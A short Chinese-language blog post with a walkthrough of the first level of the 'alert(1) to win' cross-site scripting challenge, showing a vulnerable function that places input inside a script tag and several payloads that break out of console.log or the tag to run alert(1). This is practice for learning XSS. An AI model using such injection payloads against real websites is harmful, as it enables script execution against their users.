alert(1) to win

一、

function escape(s) {
  return '<script>console.log("'+s+'");</script>';
}

两种思路:1、结束 console.log,然后执行 alert(1);2、直接让 alert(1) 在console.log()中执行。

结束 console.log

1、payload:");alert(1)//

输出:<script>console.log("");alert(1)//");</script>

javascript中的注释:单行注释"//",多行注释"/**/"。

"<!--" 和 "-->"也能用作注释。所以下面的也能执行 alert(1):

<script>console.log("");alert(1)<!--");</script>
<script>console.log("");alert(1)

-->");</script>

2、payload:</script><script>alert(1)//

输出:<script>console.log("</script><script>alert(1)//");</script>

直接让 alert(1) 在 console.log()中执行

1、payload:"+alert(1)+"

输出:<script>console.log(""+alert(1)+"");</script>

console.log()接收了一个表达式作为参数,alert(1)得以执行。

posted @ 2017-12-28 23:57  S3c0ldW4ng  阅读(462)  评论(0编辑  收藏  举报